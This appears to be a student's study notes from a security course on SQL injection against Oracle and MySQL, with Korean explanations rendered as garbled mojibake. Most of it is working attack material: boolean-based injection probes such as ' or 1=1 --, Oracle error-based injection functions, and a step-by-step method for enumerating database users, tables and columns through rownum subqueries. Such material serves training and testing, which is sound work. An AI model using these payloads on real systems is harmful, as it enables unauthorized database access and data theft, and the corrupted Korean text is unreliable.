' or 1=1 --
' and 1=1 -- : ์ถ๋ ฅ o
> SELECT * FROM tb_board WHERE title like '%' and 1=1 -- %'
' and 1=2 -- : ์ถ๋ ฅ x
1. ์๋ฌ ์ ๋ฌด ๋ถ์ / ์ทจ์ฝ์ ์ง๋จ / ๊ณต๊ฒฉ ์กฐ๊ฑด๋ฌธ ์์ฑ
' or 1=1 --
' or 1=2 --
>> ๊ฒฐ๊ณผ๊ฐ ๋์ผํ ๋ ์กฐ๊ฑด๋ฌธ ๊ตฌ๋ฌธ์ด ์๋๋ค
' or 1=1 and 1=1 --
' or 1=2 and 1=2 --
2. ํ๊ฒฝ ๋ถ์
3. ๊ณต๊ฒฉ ์ ํ
4. ๋ฉํ๋ฐ์ดํฐ ์กฐํ
5.
rownum ๊ฐ์ ์ปฌ๋ผ
# mysql : #,-- (์ฃผ์)
# oracle: --(์ฃผ์)
SELECT username FROM all_users; > ์ ์ ์ด๋ฆ ์ ์์ถ๋ ฅ
SELECT rownum,username FROM all_users >> ๋ฒํธ, ์ ์ ์ด๋ฆ์ด ์ ์ ์ถ๋ ฅ
SELECT rownum, username FROM all_users WHERE rownum=1; >> 1๋ฒ ์ ์ ์ด๋ฆ ์ ์ ์ถ๋ ฅ
rownum ์ฌ์ฉ์ ์ฃผ์ ์ฌํญ > rownum์ ๊ธฐ๋ณธ๊ฐ์ด 1๋ก ์ค์ ์ด ๋์ด์๋ค.
SELECT username FROM all_users WHERE rownum=1; > 1๋ฒ ์ ์ ์ ์ ์ถ๋ ฅ
SELECT username FROM all_users WHERE rownum=2; > 2๋ฒ ์ ์ ์ถ๋ ฅ ๋ถ๊ฐ
rownum์ ๊ธฐ๋ณธ๊ฐ์ด 1์ด๊ธฐ ๋๋ฌธ์ ์๋ ๊ตฌ๋ฌธ๊ณผ ๊ฐ๋ค
SELECT username FROM all_users WHERE 1=2; >> ๊ทธ๋ ๊ธฐ์ ์ถ๋ ฅ ๋ถ๊ฐ
SELECT username FROM all_users WHERE rownum!=3;
SELECT username FROM all_users WHERE rownum<3;
> ์ถ๋ ฅ ๊ฐ๋ฅํ์ง๋ง 2๋ฒ๊น์ง๋ง ์ถ๋ ฅ
SELECT rownum r , username FROM all_users WHERE r=3;
# rounum์ r์ด๋ผ๊ณ ์นญํ๋ค
SELECT ์ ์ด ์คํ ๋๊ธฐ ์ ์ด๊ธฐ ๋๋ฌธ์ ์ค๋ฅ
SELECT * FROM (SELECT rownum r,username FROM all_users) WHERE r=3;
3๋ฒ ํ๋๋ง ์ถ๋ ฅํ๊ธฐ ์๋ฃ
ORACLE์ ๋ฉํ ๋ฐ์ดํฐ ์กฐํ
MYSQL
ORACLE
๋ฐ์ดํฐ ๋ฒ ์ด์ค ์ด๋ฆ
information_schema.schemata
User
ํ
์ด๋ธ ์ด๋ฆ
Sinformation_schema.tables
User_tables
์ปฌ๋ผ ์ด๋ฆ
information_schema.columns
User_tab_columns
ORACLE 3๊ฐ์ง ๋ฐ์ดํฐ ๋ถ๋ฅ
DBA_
๋ฐ์ดํฐ ๋ฒ ์ด์ค ๊ด๋ฆฌ์
ALL_
ํ์ฌ ๋ก๊ทธ์ธํ ์ฌ์ฉ์๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ ๋ชจ๋ ํ
์ด๋ธ๊ณผ ์ปฌ๋ผ ์ ๋ณด
USER_
ํ์ฌ ๋ก๊ทธ์ธํ ์ฌ์ฉ์๊ฐ ์์ฑ/์์ ํ ํ
์ด๋ธ๊ณผ ์ปฌ๋ผ ์ ๋ณด
SELECT DISTINCT owner FROM all_tables; # ๋ชจ๋ ํ
์ด๋ธ์ owner๋ค์ ์ค๋ณต ์ ๊ฑฐ ํ ๋ณด์ฌ์ค๋ค
SELECT DISTINCT owner FROM all_tab_columns; # ๋ชจ๋ ์ปฌ๋ผ๋ค์ owner์ ์ค๋ณต ์ ๊ฑฐ ํ ๋ณด์ฌ์ค๋ค
SELECT DISTINCT * FROM all_tables WHERE owner='C##KITRI';
# 'C##KITRI'์ ์ ๊ฐ ๊ฐ์ง ํ
์ด๋ธ ๋ชฉ๋ก์ ์กฐํ
# owner๋ค์ ์ฌ์ฉ์ ์ด๋ฆ์ ๋ฌด์กฐ๊ฑด ๋๋ฌธ์์ฌ์ผ ํ๋ค
# C##KITRI ์ ์ ๊ฐ ๊ฐ์ง MEMBERS ํ
์ด๋ธ์์ ์ปฌ๋ผ ์ด๋ฆ์ ์กฐํํ์์ค
SELECT column_name FROM all_tab_columns WHERE owner='C##KITRI' and table_name='MEMBERS';
๋ฉํ ๋ฐ์ดํฐ ๋ชฉ๋กํ
1. ํ์ฌ ์ฌ์ฉ์(์ ์ )๋ฅผ ์ฐพ๋๋ค.
2. ํ์ฌ ์ฌ์ฉ์๊ฐ ๊ถํ์ ๊ฐ์ง๊ณ ์กฐํํ ์ ์๋ ๋ชจ๋ ํ
์ด๋ธ์ ๋ชฉ๋ก์ ๋ณธ๋ค
ex) SELECT table_name FROM ALL_TABLES WHERE owner='C##KITRI'
3. ํ์ฌ ์ฌ์ฉ์๊ฐ ๊ถํ์ ๊ฐ์ง๊ณ ์กฐํํ ์ ์๋ ๋ชจ๋ ์ปฌ๋ผ์ ๋ชฉ๋ก์ ๋ณธ๋ค.
ex) SELECT column_name FROM ALL_TAB_COLUMNS WHERE owner='C##KITRI' AND table_name='MEMBERS'
ORACLE
ALL
ALL_tables
ALL_tab_columns
ORACLE์์ ErrorBased ๊ณต๊ฒฉ
ORDSYS.ORD_DICOM.GETMAPPINGXPATH (๊ณต๊ฒฉ๊ตฌ๋ฌธ)
CTXSYS.DRITHSX.SN(1,๊ณต๊ฒฉ๊ตฌ๋ฌธ)
CTXSYS.CTX_QUERY.CHK_XPATH(๊ณต๊ฒฉ๊ตฌ๋ฌธ,1)
# 3๊ฐ์ง ๊ธฐ๋ณธ ์ ๋ณด
SELECT banner FROM v$version WHERE rownum=1; # ๋ฒ์
SELECT user FROM dual; # ์ฌ์ฉ์
SELECT global_name FROM global_name; # SID
๋ฉํ ๋ฐ์ดํฐ ๋ชฉ๋กํ
์์ฐจ์ ์ ๊ทผ์ ์์
1. ์ ์ ๋ช
์กฐํ
2. ํ
์ด๋ธ ์กฐํ
3. ์ปฌ๋ผ ์กฐํ
1. ์ ๊ทผ ๊ฐ๋ฅํ ์ฌ์ฉ์๋ช
(owner)์ด ํ์
SELECT DISTINCT owner FROM all_tables;
์ฌ์ฉ์ ๋ชฉ๋กํ
# ์คํ ์ค๋ฅ // ์ด์ : rownum๊ณผ DISTINCT๋ ํจ๊ป ์ฌ์ฉํ ์ ์๋ค.
SELECT owner FROM (SELECT rownum r, DISTINCT owner FROM all_tables) WHERE r=1;
# ํด๊ฒฐ์ฑ
: ์ค๋ณต ์ ๊ฑฐ๋ฅผ ๋จผ์ ํ๊ณ rownum์ผ๋ก ์์๋ฅผ ๋ถ์ธ๋ค.
SELECT owner FROM (SELECT rownum r, owner FROM(SELECT DISTINCT owner FROM all_tables)) WHERE r=1;
1. SYS 2. XDB 3.SYSTEM 4.CTXSYS 5.MDSYS 6.C##KITRI
ORACLE์ TABLE ๋ชฉ๋กํ
# all_tables์ ์๋ owner๊ฐ C##KITRI์ธ table_name์ ์ซ์๋ฅผ ๋งค๊ธด๋ค
SELECT table_name FROM (SELECT rownum r, table_name FROM all_tables WHERE owner='C##KITRI') WHERE r=1;
# column ์ด๋ฆ ๋ชฉ๋กํ ํ๊ธฐ
SELECT column_name FROM ( SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##KITRI' and table_name='MEMBERS') WHERE r=1;